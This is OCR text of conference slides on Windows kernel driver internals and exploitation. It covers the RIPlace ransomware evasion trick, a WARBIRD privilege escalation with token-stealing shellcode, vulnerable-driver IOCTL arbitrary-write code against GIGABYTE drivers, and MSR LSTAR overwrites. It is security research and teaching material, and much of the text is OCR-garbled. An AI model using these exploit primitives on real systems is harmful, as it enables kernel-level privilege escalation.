NotSurprised
& iThome

notsurprisedtw@gmail.com



https://speakerdeck.com/notsurprised/ithome2021-its-okay-to-be-old-driver

p-



> WHORMS

Notﬁurprised

Intro
UCCU Hacker Meme Generator
AIS3 2016 trainee
SITCON 2019, MOPCON 2019, LINE Becks.io#5, iThome 2020 speaker

Email : notsurprisedtw@gmail.com



> DUTLINE




> DUTLINE







> MiNiFIlTER & FILTER

Windows Driver Model (WDM)

Windows 0OS driver catalogues :
bus driver (e.g. USB, PCI)
function driver (e.g. USB Adaptor)
driver (e.g. Anti-Virus)

After Windows 7, Filter compiling was migrate into VS, and
refracture ; from WDM

Minifilter is more easier to compile that traditional

Filter, also the new feature
for minifilter



Enviroment Subsystem/

Dl1ls
User Mode

Kernel Mode
I/0 System

IO STATUS BLOCK

IO_STACK_LOCATION

I/0 Manager

File System
Manager

union {

struck {. . .} Read;

struck {. . .} Write;

struck {. . .} DeviceControl;
} Parameters;

.
a— Volumn
Manager

source: The Windows 2000 Device Driver Book



> WiINDC

User Mode

| Enviroment Subsystem/
Dlls

Kernel Mode

I/0 System

I/0 Manager
MiniFilterDriverA

Filter
Manager

MiniFilterDriverB

File System
Manager

File System
Manager

MiniFilterDrivercC



> WiINDC

User Mode

| Enviroment Subsystem/
Dlls

Kernel Mode

I/0 System

I/0 Manager
MiniFilterDriverA

Filter MiniFilterDriverB

Manager
MiniFilterDrivercC

File System
Manager

File System
Manager
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> RP

IRP ( ) is a data structure in Windows kernel,
it has been designed to store input/output data

IRP is a complicate data structurer, there’s 2 major attributes:
& , Wwhich stand for IRP’s major type

and type’s detail description

Same MajorFunction will present with
different MinorFunctions & parameters

LL



> RP

Create.Option.CreateDisposition:

FILE_CREATE
FILE_OPEN
FILE_OPEN_IF

IRP_MJ_CLEANUP SetFileInformation.FileInformationClass:

IRP_MJ_CLOSE FileAllocationInformation

IRP MJ DEVICE CONTROL FileBasicInformation (inser‘t > time »
- T - privilege)

IRP_MJ_LOCK_CONTROL

IRP_MJ_SET_VOLUME_INFORMATION FileEndOfFileInformation

FilePositionInformation
IRP_MJ_SET_EA

...... . FileValidDatalLengthInformation
12



sor@ercasSEISDN

typedef struct _FLT_IO_PARAMETER_BLOCK {

UCHAR MajorFunction;
UCHAR MinorFunction;
UCHAR OperationFlags;
UCHAR Reserved;
PFILE_OBJECT TargetFileObject;
PFLT_INSTANCE TargetInstance;
FLT PARAMETERS Parameters;
} FLT_IO PARAMETER_BLOCK, *PFLT_IO PARAMETER_BLOCK;

typedef struct _FLT_CALLBACK_DATA {
FLT_CALLBACK_DATA_ FLAGS Flags;
const PETHREAD Thread;
const PFLT_IO PARAMETER_BLOCK Iopb;
IO_STATUS_BLOCK IoStatus;

struct _FLT_TAG_DATA_BUFFER *TagData;
typedef struct IRP { union { typedef struct _FLT_TAG_DATA_BUFFER {
CSHORT Type; struct { ULONG FileTag;
USHORT Size; g 5 > .
oI T LIST_ENTRY Queuelinks; USHORT TagDatalLength;
2 -~ - .
TErE e PVOID QueueContext[2]; US&ORT UnparsedNamelLength;
union { ] union {
struct _IRP *MasterIrp; PVOID FilterContext[4]; struct {
__volatile LONG IrpCount; 3 USHORT SubstituteNameOffset;
PVOID SyStemBu_F_Fer\; KPROCESSOR MODE ReqUeStOl\MOde' USHORT Substltute?lar’leLer‘gth,
AssociatedIrp; " ? 3
EIST ENTRY P ThreadListe] } FLT_CALLBACK_DATA, *PFLT_CALLBACK_DATA; USHORT PrintNameOffset;
TO_STATUS_BLOCK ToStatus; USHORT 'Er=ntNameLength;
KPROCESSOR_MODE RequestorMode; ULONG Flags;
BOOLEAN PendingReturned; WCHAR PathBuffer[1];
CHAR StackCount; } SymbolicLinkReparseBuffer;
CHAR CurrentLocation; struct {
E?gLEAN Eanceii . USHORT SubstituteNameOffset;
ancelIrql;
CCHﬁR Achnvirgnaent- USHORT SubstituteNamelLength;
2 -
LUCHAR AllocationFlags; USHORT Pr‘lntHameOffset;
PIO STATUS BLOCK UserIosb; USHORT PrintNamelength;

PKEVENT UserEvent; WCHAR PathBuffer[1];

} MountPointReparseBuffer;
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> RIPLACE — RENSOMWRRE

Most Ransomware use following mechanism to encrypt file:

Open original file into memory
Encrypt file content in memory
Destroy original file:
encrypted content on original one
IRP_MJ_WRITE

IRP_MJ_CREATE
(FILE_OVERWRITE, FILE OVERWRITE_IF)
Save file with new name and original one

IRP_MJ_SET_INFORMATION
(FILE_RENAME_INFORMATION, FILE DISPOSITION_INFORMATION)

Save file with new name and original one then rename

IRP_MJ_CREATE
(FILE_SUPERSEDE)

’ 2 B, BP0 ety o
-k . A B B
K i ol g R s

L N o iy AN

» ] A g . R
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> RIPLACE - PRST

Ransomware Encrypt File "C:\Users\XXX\Desktop\20200904Meeting.pptx"

|

New Encrypted File "C:\Users\XXX\Desktop\ -

l is

true, then " " replace "20200904Meeting.pptx"

|

Ransomware remove "20200904Meeting.pptx" succeed with
" then rename it to "{MD5}.cryptxxx"

16



> RIPLACE - PAST pemies

Dl1ls

User Mode

Ransomware Encrypt File "C:\Users\XXX\Desktop\20200904Meeting.pptx" ‘

1 I/0 System

New Encrypted File "C:\Users\XXX\Desktop\

‘ I/0 Manager

l Filter
. Manager

is
true, then " " replace "20200904Meeting.pptx" |_

Ransomware remove "20200904Meeting.pptx" succeed with F 11e SyStem
" " then rename it to "{MD5}.cryptxxx" Manager\

File System
Manager

Kernel Mode

MiniFilterDriverA

Anti-Malware & Anti-Ransomware

Use FltGetDestinationFileNamelnformation
to get the path which Rename request

target to.
(e.g. C:\Users\XXX\Desktop\20200904Meeting.pptx)

Then deny the request with modify the
IRP and set up dirty flag to FilterManager.

MiniFilterDriverB
17







> RIPLACE

RIPlace Evasion Technique
Daniel Prizmant, Guy Meoded, Freddy Ouzan, Hanan Natan - Nyotron

Requirements
EDR, AntiVirus, AntiRansomware use

symlink for replace source

19



Ransomware Encrypt File "C:\Users\XXX\Desktop\20200904Meeting.pptx"

|

New Encrypted File "C:\Users\XXX\Desktop\ .

point "ImSymlinkForRIP"
"C:\Users\XXX\Desktop\20200904Meeting.pptx"

!

true, then " " replace "ImSymlinkForRIP"

!

Ransomware remove "20200904Meeting.pptx" succeed with
" then rename it to "{MD5}.cryptxxx"

20



Ransomware Encrypt File "C:\Users\XXX\Desktop\20200904Meeting.pptx" ‘

v

New Encrypted File "C:\Users\XXX\Desktop\

point "ImSymlinkForRIP"
"C:\Users\XXX\Desktop\20200904Meeting.pptx"

y

true, then " " replace "ImSymlinkForRIP"

Ransomware remove "20200904Meeting.pptx" succeed with
" " then rename it to "{MD5}.cryptxxx"

Enviroment
Subsystem/
Dl1ls

User Mode

3
\
}

|._

I/0 System

I/0 Manager
Filter
Manager

File System
Manager

File System

Manager

Kernel Mode

MiniFilterDriverA

Anti-Malware & Anti-Ransomware

FltGetDestinationFileNamelnformation
cannot get the path from DosDevice path.

Then apply the request because the
IRP_MJ SET INFORMATION rename to a

path that nothing exists.

MiniFilterDriverB
21



> RIPLACE — MITIGRTION

Assume user will update to latest version
Check symlink create operation before it be abused

!%!%TE%EI! % #ﬁ?i%

source: ZEEET1R 22
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Windows 10 Creators Update 32-bit execution of ring-o
code from NULL page via NtQuerySystemInformation
Mjurczyk - Google

Kernel Exploit Demo - Windows 10 privesc via WARBIRD
Adam Chester - MDSec

Warbird is a Microsoft technology used to
to a binary.

Requirements
Windows 10
with Warbird Class
Start to support 16-bit

25



DLL inject to process in
In 32bit CMD: FONDUE.exe /enable-feature:NTVDM

Trigger WARBIRD Vul in

Copy shellcode to

Fix from original WARBIRD EXTENSION
Re-Enable APC and remove Locks from thread
Enumerate EPROCESS to get cmd.exe EPROCESS
Enumerate EPROCESS to get SYSTEM TOKEN
Copy SYSTEM TOKEN to cmd.exe

26



Exploit.exe

debug.exe(16-bit,NTVDM)

OpenProcess ()|~

\
VirtualAllocEx()}
\

\

>

WriteProcessMemory()

\

\
CreateRemoteThread() |
\

]

baseAddress|[256]

Remote Thread
Invokes
LoadLibrary()

27



debug.exe(16-bit,NTVDM)

baseAddress[256] -°

7’
7/

Exploit.dll

Remote Thread
Invokes
LoadLibrary()

g
4

Exploit.dll

Ntoskrnl.exe

Dllmain()

NtQuerySystemInfo()

Payload()

ExpQuerySystemInfo()

Shellcode

Fix WARBIRD_EXT ebx

Re-Enable APC Remove locks

Enum EPROCESS: CMD

Enum EPROCESS: SYSTEM

Steal SYSTEM TOKEN

WbDispatchOperation()

WbFindWarbirdProcess()

WbFindLookupEntry()

Shellcode

28



Oxff, Oxff, OxFf, Oxff, @uff, Buff

Evoid exploit(void} {
BYTE Buffer[8];
DHORD BytesReturned; Verified and setup uninitialized WARBIRD_EXTENSION

Rt1ZeroMemory (Buffer, ;;:e:-(EuFFer}j;
MtQuerySystemInformation( (5YSTEM _IMFORMATION CLAS5)185, Buffer, sizeof(Buffer), &BytesReturned);

21 ConyMemary (MULL, shellcode, 256): | COPY Payload to un-initial memory struct

S = - b

Rt1ZeroMemory (Buffer, ;;:e:-IEuFFEF}j;
MtQuerySystemInformation( (5YSTEM _IMFORMATION CLAS5)185, Buffer, sizeof(Buffer), &BytesReturned);
h
Trigger Attack
BOOL APIENTRY D11Main(HMODULE ,
DRWORD .
LPVOID
= —ept ion — code 8
int 3
- R TN { l'l
I - ’ . L : edx
R e 10 |]_:|l 0
A5 E | ESS_ATTACH: 1 1 2 F==0030 ==0000
case DLL_PROCESS DETACH: source: XPN
Explnlt-
:" _|
| 1




KPCR (Kernel Processor Control Region),
FS:[@] point in Ring ©, point to TEB
in Ring 3.

typedef struct _EPROCESS

oooooo

PHANDLE_TABLE ObjectTable;

EX_FAST_REF Token;
ULONG WorkingSetPage;
PVOID Session;

UCHAR ImageFileName;
LIST _ENTRY JobLinks;

pushad
mov eax, [fs:0x120 + Ox4]

mov eax, [esax + @x150]

next process:
cmp dword [eax + @x17c], °
je found_cmd_process
mov eax, [eax + Oxb8]
sub eax, @xbd
jmp next process

found_cmd_process:
mov ebx, eax

find system process:

cmp dword [eax + Oxbd], OxBEOEEOOL

je found system process
mov eax, [eax + @xb8]
sub eax, Bxb3

jmp find system process

found system process:
mov ecx, [eax + @xfc]

mov [ebx+@xfc], ecx

popad

"CurrentThread® from KPRCB

' property from current thread

- Search for "cmd.exe’

, 1T not found,

y Sdve our

1 (System process)

JKEN from System
opy it to the

=
m o

18]
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Windows drivers
Signed
WHQL signed
EV signing cert (A Must for Winle signing process)

. 33

source: CD EEIETUEEEK B IZIEETET S



NTSTATUS IoCreateDevice(
PDRIVER OBJECT s
ULONG p
PUNICODE STRING s

— 1 [ B LT I

ULONG -
BOOLEAN r
PDEVICE _OBJECT *

)

Most drivers specify only the
characteristic. This ensures that the same security settings
applied to any open request into the device's namespace.

DeviceCharacteristics

Specifies one or more system-defined constants, ORed together, that provide additional information about the

driver's device. For a list of possible device characteristics, see DEVICE OBJECT. For more information about how

to specify device characteristics, see Specifying Device Characteristics. Most drivers specify

IR AV (@ S SdV el L2\ for this parameter.

are

34
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RtlInltUnlcodEStrlng( &UnicodeString, L"\\Fat" ); status = IoCreateDevice(DriverObject,
Status = IoCreateDevice( DriverObject, sizeof (DRIVER_DEVICE_EXTENSION),
9, NULL,
&UnicodeString, FILE_DEVICE_DISK,
FILE DEVICE_DISK FILE_SYSTEM, E!
9, FALSE,

FALSE, &device
&FatDiskFileSystemDeviceObject ); )s

github.com

RtlInitUnicodeString( &UnicodeString, L"\\FatCdrom™ );

Status = IoCreateDevice(
Status = IoCreateDevice( DriverObject, DriverObject

0, 9,
&UnicodeString, &DeviceName,
FILE_DEVICE_CD_ROM FILE_SYSTEM, FILE_DEVICE_UNKNOWN,
FALSE,
FALSE, . :
&EventDrvDeviceObject);
&FatCdromFileSystemDeviceObject );




. o SySe ey RN i N
. S N A% . F lri"*
B 3 @ e YV R
e o T s BN
£ ks o i T R O

Maybe FILE DEVICE SECURE OPEN has
been defined as ©°

37



> D

//

//

f#tdefine
#tdefine
#tdefine
f#tdeftine
f#tdefine
#tdetine
f#tdefine
f#tdefine
#tdefine
f#tdeftine
f#tdefine
#tdefine
#tdefine
f#tdeftine
f#tdefine

VER VULNEI

// Define the various device characteristics flags

it B 25

: Ry
B e
N L, i/ "

FILE REMOVABLE MEDIA
FILE READ ONLY DEVICE

FILE FLOPPY DISKETTE

FILE WRITE ONCE_MEDIA

FILE REMOTE DEVICE

FILE DEVICE IS MOUNTED

FILE VIRTUAL VOLUME

FILE AUTOGENERATED DEVICE NAME

FILE DEVICE SECURE_OPEN

FILE CHARACTERISTIC PNP DEVICE

FILE CHARACTERISTIC TS DEVICE

FILE CHARACTERISTIC WEBDAV DEVICE

FILE CHARACTERISTIC CSV

FILE DEVICE ALLOW APPCONTAINER TRAVERSAL
FILE PORTABLE DEVICE

Ox00000001
Ox00000002
Ox00000004
Dx00000B08
Ox00000010
Ox00000020
Ox00000040
Ox00000080
OxbB0B1006
Dx00000800
Ox000016000
Ox00002000
Ox00010000
Dx00020000
Ox000406000

source: BEE=T=T! ¥ (XA



NTSTATUS DriverEntry(IN PDRIVER OBJECT DriverObject, IN PUNICODE STRING RegistryPath)
PDEVICE OBJECT DeviceObject = NULL;
NTSTATUS Status = STATUS UNSUCCESSFUL;
UNICODE_STRING DeviceName, DosDeviceName = { @ };
RtlInitUnicodeString(&DeviceName, L"\\Device\\VulDriver™);
RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\VulDriver™);
Status = IoCreateDevice(DriverObject, @, &DeviceName, FILE DEVICE UNKNOWN,

|  NULL, FALSE, 8&DeviceObject);

DriverObject->MajorFunction[IRP MJ CREATE] = IrpCreateHandler;
DriverObject->MajorFunction[IRP MJ READ] = IrpReadHandler;
DriverObject->MajorFunction[IRP MJ WRITE] = IrpWriteHandler;
DriverObject->MajorFunction[IRP MJ CLOSE] = IrpCloseHandler;
DriverObject->MajorFunction[IRP MJ DEVICE CONTROL] = IrpDeviceloCtlHandler;
DriverObject->DriverUnload = IrpUnloadHandler;

// Create the symbolic link / Expose to User
Status = IoCreateSymboliclink(&DosDeviceName, &DeviceName);
return 5tatus;



> PRYLURD

void Explnltﬂrlver(} {
char bufferQut[256] = { @ };
char bufferIn[256] = { @ };
DWORD bytesRead, bytesWritten, bytesReturned;

HANDLE hDevice = CreateFile(L"\\\\.\\VulDriver\\",
GENERIC READ | GENERIC WRITE,
FILE SHARE READ | FILE SHARE WRITE, NULL,
OPEN_ EXISTING, @, NULL);

ReadFile(hDevice, &bufferOut, sizeof(bufferOut), &bytesRead, NULL);
WriteFile(hDevice, bufferIn, sizeof(bufferlIn), &bytesWritten, NULL);
DeviceIoControl(hDevice, beEBHBBBB, bufferIn, sizeof(bufferln),

bufferOut, sizeof(bufferOut), &bytesReturned, NULL);
CloseHandle(hDevice);

return;



o]

0: kds: !drwoby Disk
Driver object (ff££f8287114d70=40) i= for:
sDriver-Disl

Driver Extension List: (i1d . addr)

(EE£££80729420290 ££££82871109180L0)

Device Obhject li=t:

fEffa2aY11475060

0: kd: ldewobj f£££828711475060

Device object (f£££828711475060) i= for:

DRO ~Driver~Disl DriverObject f£££828711470c40

Current Irp 00000000 FefCount & Type 00000007 Flags 01000050
¥pb f£f££f828711d5%aa80 SecurityDescriptor ff{ffd98dcef%:=53a0 DevExt f£££828711d4751b0 DevObjExt ££££828711d75960 Dope f£££828711d5a230
ExtensionFlags {(0=x00000800) DOE_DEFAULT_SD FPRESENT
Characteristics (0x00000100) FILE_DEVICE SECURE_CFEH
AttachedDevice (Upper) {L£££82871159d420 -Driver-partmgr
AttachedTo (Lower) ££££f828711a%a0a0 ~Driver~storahci

Device queus i= not busy.

0: kd: !drwobjy ~Driver~Di=sl 7

Driver object (ff££f828711d70z40) i= for:

=Driver~Disk

Driver Exten=sion Li=st: (id . addr)
CEELL££80729420090 ££££2328711091800)

Dewvice Object list:
fEffa28Y11d475060

DriverEntrv: fEE££80727£d44010
DriverStartIo: 00000000

DriverUnload: ff£f£f£f80729427%c=0
AddDevice: ftEf££80729420520

IFF_MJ_CREATE_NWAMED PIPE
IRF_MJ CILOSE

IRF_MJ_READ

IFF_MJ_WRITE
IRF_MJ_QUERY INFORMATION
IRF_MJ SET INFORMATION
IRF_MJ_QUERY_EA
IRF_MJ SET FE&
IFF_MJ_FLUSH EUFFERS

IRF_MJ_DIRECTORY_CONTROL
IRF_MJ_FILE SYSTEM CONTROL
IEP MJ_DEVICE CONTROL

|l I e N e I e e O e e e e e e B B
o T 1 P o T el TN e W S o 0 Y R PR O

IRF_MJ_SHUTDOWH

IFF M1 QUERY WOLUME INFORMATION
IRF_MJ SET WOLUME INFORMATION

IRF_MJ_TINTERNWAT DEVICE_CONTROL

fE£££807293d13=0
tffff80626ctalfl
fE£££807293d13=0
fE£££807293d13=0
tE£££807293d13=0
ftffffa80626c5a0£0
ftffff80626c5a0£E0
tffff80626c5a0£0
ftffffa0626c5a0£0
tE£££807293d13=0
ftffffa80626cta0f0
ftffffa0e2ec5a0f0
tffff80626c5a0£0
ftffffa80626c5a0£0
fE£££807293d13=0
tE£££807293d13=0
fE£££807293d13=0

+0xfff££807293d13=0
nt ! IopInvalidDeviceRequest
+0xfff££807293d13=0
+0=xfff££807293d13=0
+0=ff£££807293d13=0
nt ! IopInvalidDeviceRequest
nt! IopInvalidDeviceRegquest
nt!lIopInwvalidDeviceRequest
nt ! IopInwvalidDeviceRequest
+0=ff£££807293d13=0
nt ! IopInvalidDeviceRequest
nt!IopInvalidDeviceRequest
nt ! IopInvalidDeviceRegquest
nt ! IopInvalidDeviceRequest
+0=ff£££807293d12=0
+0=xfff£f£807293d13=0
+0xfff££807293d13=0




I/0 control code (IOCTL) need to match the DDK document, structure following:

CTL_CODE( 31 3029282726252423222120191817 16 15 14 13 121
DeviceType, c
Function, u
Required] S
Method, Device Type Access | t
Access o
) "
DeviceType:

this value should match to the type when it create (IoCreateDevice), usually
FILE_DEVICE_XX

Function: Driver defined IOCTL
Ox0000-0x7FFF are reserved for Microsoft
OX7FFF-0xFFFF are reserved for OEMs and IHVs

Method:
METHOD BUFFERED, METHOD_ IN_DIRECT, METHOD OUT_DIRECT, METHOD NEITHER

Access
usually FILE ANY_ACCESS

Function Code

11098765432

Transfer

Type

source: IOActive






ASRock Drivers
CVE Name:

ASUS Drivers

CVE Name:

GIGABYTE Drivers

CVE Name:


http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-10709
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-10710
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-10711
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-10712
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-18537
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-18536
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-18535
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-19320
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-19322
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-19323
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-19321

#include <windows.h:
HANDLE ghDriver = @;

#define IOCTL_GLCKIO VMWRITE 8x821820850

Btypedef struct _STRUCT_GLCKTO VMWRITE {
WORD unk@;
DWORD unkl 1;
WORD unkl_2;
ULONGEE unk2;
ULONGEE unk3;
ULONGEE unk4d ;
ULONGES unkS;
ULONGES unk6;
T STRUCT_GLCKIO VMWRITE;

gB00L ArbitraryWriteDWORD({ULONGEE de=t, DWORD value)
STRUCT_GLCKIO VMWRITE mystructIn = { @ };
mystructIn.unk® = Bxfll;
mystructIn.unkl 1 = valus;
mystructIn.unkS = dest;

STRUCT_GLCKIO VMWRITE mystructOut = { @ };

DWORD returned = @;

DeviceIoControl(ghDriver, IOCTL_GLCKIO VMWRITE, (LPVOID)&mystructIn, sizeof(mystructIn), (LPVOID)&mystructOut, sizeof(mystructOut), &returned, MULL);
return returned;

H

EBOOL InitDriver()

ghDriver = Cr ile(™\\\\.\\GLCKIo", GEMERIC READ | GENERIC WRITE, FILE SHARE READ | FILE_SHARE WRITE, @, OPEN_EXISTING, FILE ATTRIBUTE NORMAL, MULL):
= if (ghDriver INVALID HANDLE WALUEY} {
printf{"Cannot get handle to GLCKIo driver - GetlastError:%dywn®, GetlastError()):

return FALSE;

h

recurn

RUE ;




Queuing takes precedence over the EvtDeviceFileCreate callback—
that is, if the driver both registers for EvtDeviceFileCreate events and

configures a queue to receive such requests, KMDF queues the
requests and does not invoke the callback. KMDF does not queue
create requests to a default queue; the driver must explicitly configure
a queue to receive them.

In a bus or function driver, if a create request arrives for which the :

driver has neither registered an EvtDeviceFileCreate callback source: Tom and Jerry
function nor configured a queue to receive create requests, KMDF

opens a file object to represent the device and completes the request

with STATUS_SUCCESS. Therefore, any bus or function driver that

does not accept create or open requests from user mode application

—and thus does not register a device interface—must register an

EvtDeviceFileCreate callback that explicitly fails such requests.
| Supplying a callback to fail create requests ensures that a rogue user RV RY AN T 10 g ),

mode application cannot gain access to the device.

Based on the mechanism of queues, the KMDF I/O handler can perform several possible tasks
upon receiving either a create, close, cleanup, write, read, or device control (IOCTL) request:

m For create requests, the driver can request to be immediately notified through EvtDeviceFile-

Create, or it can create a nonmanual queue to receive create requests. It must then register an
EvtloDefault callback to receive the notifications. Finally, if none of these methods are used,
KMDF will simply complete the request with a success code, meaning that by default, applica-

tions will be_able to apen handles to KMDE drivers that don't supply their own cade. Windows Internal 7th




> P.S. XMOE

NTSTATUS WdfRequestRetrieveInputBuffer(

WDFREQUEST ,
| size t s FileEvtToDeviceControll
PVVOID o5 , IN WDFQUEUE Queue,
; t " IN WDFREQUEST Request,
iz E_ IN size t OutputBufferlLength,
:]' 3 IN size t InputBufferlength,

ToControlCode
MinimumRequiredLength
The minimum buffer size in bytes that ratus = WdfRequestRetrievelnputBuffer(Request &inBuf, &bufSize);

g g FOINT SUCCESS(status)) {

the driver needs to process the I/0 1FCINT_SUCEESS(status)) o

status = STATUS_ INSUFFICIENT RESOURCES;
request.

CVE-2018-8342 Learn more at National Vulnerability Database (NVD),

¢ CVSS Severity Rating ¢ Fix Information e Vulnerable Software Versions e
SCAP Mappings ¢ CPE Information

An elevation of privilege vulnerability exists in the Network Driver Interface Specification

QISR LGl IERAE R ails to check the length of a buffer prior to copying memory to itHElE!
"Windows NDIS Elevation of Privilege Vulnerability." This affects Windows 7, Windows Server
2008 R2. This CVE ID is unique from CVE-2018-8343. 47
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Fxdev Ftest

source: Sk PR EEZ(E



> DUTLINE

49



L-SP

ECIFIC REGISTERS

(MSR) exist in CPUs. Contrary to the name, some
MSRs are actually part of the official x86 or x64 architecture and not
"model specific", "IA32_LSTAR", for example.

The transition to kernel-mode is done via an MSR

syscall -> read MSR -> call MSR pointer (Ring-0)
-> kernel function handles the syscall logic

MSR usually store function entries like: "KiFastCallEntry()",
"KiFastSystemCallEntry()", , according to the 0S Ver.

After Windows XP use ntdll!KiFastSystemCall which will call SYSENTER,

SYSENTER doesn’t support passing parameters on the stack, use MSR to help
ENV setting.

50



ODEL-SPECIFIC REGISTERS

SYSCALL and SYSRET

CO000_0081h
LSTAR
C000_0082h

CSTAR

C000_0083h

FIMASK

C000_0084h

base selector for ba!bi-‘ selector for
SYSRET CS/SS SYSCALL CS/SS

51



FCIFIC REGISTERS

Call Flow
Typical SYSENTER Driver Usage

IA32_SYSENTER_CS to CS RDMSR
IA32_SYSENTER_EIP to EIP WRMSR
IA32_SYSENTER_CS+8 to SS SYSCALL (IA32_LSTAR MSR / IA32_FMASK MSR)
IA32_SYSENTER_ESP to ESP {Execute MSR_LSTAR function entry}
Switch to Privilege level 0 Return
Clear VM flag in EFLAGS SYSRET
Execute CS:EIP SYSEXIT

None of the setup that we saw with interrupts is performed.
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L-SPECIFIC REGISTERS

Default on modern systems we only care about

Can inspect via command in windbg

1ldy rdm=r O0=c0000082
2] = ff£f£801° 63ddb140
llkd: u f££££801° 63ddbl40
nt |l KiSy=tenCalled4Shadow:
tffffa01 63ddbl40 0f01£f8 SWapgs
"63ddbl43 B! oy gword ptr g=: [7010kL] . r=p

"63ddbl4dc ak= 25 TI=p. |:_[1;-;l'|:|:|'_"|j u tr O [ 2000k ]

"63ddbl55 3¢ ; dword ptr g=:[7018h].1

_b3ddbl5f 7203 ib nt | KiSy=stenCallf4Shadow+0=24

"63ddblel 0fZidec now crd. r=p

"63ddbled A 2421 r=p,.gword ptr g=:[7008h]
ntlEiSy=tenCal l645ShadowComnmnon

fftfffE01 63ddbled 6alZb 1=h 2Bh

(fftfffh01 63ddbled)



You can probably see where this is going

source: Fireeye

Exposed (_writemsr) instruction gives us a pointer
to overwrite primitive

Function pointer is called when any syscall is issued
Called from Ring-0
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ine IOCTL EEAD MSE 0x9CAQ0Z6

iy .-'r_'
#define IOCTL WRITE MSE 0x9C402608

$pragma pack(push, 4)
typedef struct MsrParam ({
DWORD Msr;
QWORD Value;
} MsrParam;
#pragma pack (pop)

BOOL WriteMsr (HANDLE Device, DWORD Msr, QWORD Value) {
BOOL ret = FALSE;
DWORD bytesReturned = (;
MsrParam param = { };

param.Msr = Msr;
param.Value = Value;

ret = DeviceloControl (Devicell IOCTL WRITE MSR,M&param, sizeof(param), &param, sizeof(param), &bytesReturned, NULL) ;

if ('ret) {
printf ("WriteMsr failed: %d\n", GetLastError()):
}

return ret;

source: Fireeye il






Device Driver Debauchery and MSR Madness
Ryan Warns & Tim Harrison - FireEye

Requirements:

MSR instruction
Needs to be
Must

Needs to keep running

exposed
running while target MSR is corrupted
in the middle of our execution
entire time

57



kd: u KiSy=temCallid
ntlEiSy=tenCalled :

ffff£a00°

ffff£a00°
ffff£a00°
ffff£a00°
ffff£a00°
ffff£a00°
tffffaon”
ffff£a00°

lZadceci
lZalcec3
lZalcecc
lZadcedhb
lZ2alced?
lZafcedf
lZafce=l
lZalces]

0f01f85

654589242510000
65488b242525010000 mow

baZb

E5f£542510000000 push

4153
badl
51

IEHHHEEn
e gword ptr g=:[10h].r=p

pu=h

pu=h
push
pu=h

r=p.gqword ptr g=:[1A8h]
2Bh

gword ptr g=:[10h]

rll

13k

ICE

kd: u nt!lKiSy=tenServiceExzit+0x138 L O=xf
ntlKiSy=tenServicebExi t+0x138

4-8b8500010000
d-8ba8dda0o0oon

fffff£800°

fffffa00°
fffff£800°
fffff£800°
fffff£a00°
fffff£800°
fffff£800°
ftffffa00°
fffff£800°
fffff£800°
fffff£800°
fffff£800°
fffff£800°
fffff£800°
fffff£800°

02a8d293
02a8d29a
0Z2a8dZal
02a8dZai
OZ2a8dZa?
02a8dZab
OZ2a8dZat
OZaddZbi
02a8d2b7
02a8d2bb
0Z2a8dZc?
02a8d2=9
lZafddco
O2a8d2ct
02a8dzdz

33d?

Eelfefcl
EElf=fcf
Eelfefd?
Eelf=fdb
EElfefed
Eelfefed

458bEd=5000000
4=8b9df 5000000

498be9
498be0
0f01£f85
450£07

o
o
HOT
pEOT
OEOT
pEOT
pEOT
OEOT
pEOT
o
o
o

=Wapds
sy=retg

r8.gword ptr [rbp+l100k]
9. gword ptr [rbp+0D8h]
edx, edx

=Emml , Zmm

Emml  =mml

EIMS , B

EImd , Emmn 3

=mmd |, =mmd

=Emmb , Zmm5

rox, gword ptr [rbp+0EBh]
rl1ll,gword ptr [rbhp+0F3h]
rhp,r?

r=p. 18

source: Fireeye
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> MSR EXP

Exploit.exe

DeviceIoControl

Vu1.Sys

L

Processor A

TIoCreateDevice()
IoCreateSymbolicLink()

IOCTL (WRMSR)

Ntoskrnl.exe
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Exploit.exe

DeviceIoControl

Vul.sys

TIoCreateDevice()
IoCreateSymbolicLink()

IOCTL (WRMSR)

Ntoskrnl.exe

Processor A

o

>

"

MSR_STAR (IA32_STAR)

MSR_CSTAR (IA32_CSTAR)

MSR_LSTAR (IA32_LSTAR)

IA32_KERNEL_GS_BASE
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Exploit.exe

DeviceIoControl

SetThreadPriority()
SetProcessorAffinity()
Sleep()

Vul.sys

TIoCreateDevice()
IoCreateSymbolicLink()

IOCTL (WRMSR)

Ntoskrnl.exe

Processor A

o

MSR_STAR (IA32_STAR)
MSR_CSTAR (IA32_CSTAR)
™, MSR_LSTAR (IA32_LSTAR)

N IA32_KERNEL_GS_BASE
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> MSR EXP

Exploit.exe

I DeviceIoControl

SetThreadPriority()
SetProcessorAffinity()
Sleep()

syscall()

Vul.sys

TIoCreateDevice()
IoCreateSymbolicLink()

IOCTL (WRMSR)

Ntoskrnl.exe

Processor A

o

>

W

MSR_STAR (IA32_STAR)

MSR_CSTAR (IA32_CSTAR)

MSR_LSTAR (IA32_LSTAR)

IA32_KERNEL_GS_BASE

62



Exploit.exe Vul.sys Processor A
DeviceIoControl IoCreateREnice()
IoCreateSymbolicLink() MSR_STAR (IA32_STAR)
SetThreadPriority() .
SetProcessorAffinity() .‘l IOCTL (WRMSR) l i MSR_CSTAR (IA32_CSTAR)
Sleep() e
N\ S
syscall() - - — —_—— — &-\— /:‘MSR_LSTAR (IA32_LSTAR)
Ntoskrnl.exe Al
7 N
KiSystemCall64 b 7 IA32_ KERNEL_GS_BASE
swapgs # setup stack

u KiSystemCall6d
1SystemCalled:

£800° 02a8cech 0f01£8
"02a8cec3 65488924251000055=m=s qword ptr gs:[10h].rsp

>

K

ff

ff

ff "02a8cecc 65488b2425a8010000 mowv rsp.qword ptr gs:[1A8h]
ff "02a8cedS 6az2b push 2Bh

ff "02a8ced? 65££342510000000 push gword ptr gs:[10h]

ff ‘02a8cedf 4153 push rll

ff ‘02a8ceel 6a33 push 33h

ff "02a8ceel 51 push rcx

k
n
f
f
f
f
f
f
f
f

L N Ol e e e




> MSR EXPLO

Exploit.exe Vul.sys Processor A
) IoCreateDevice()
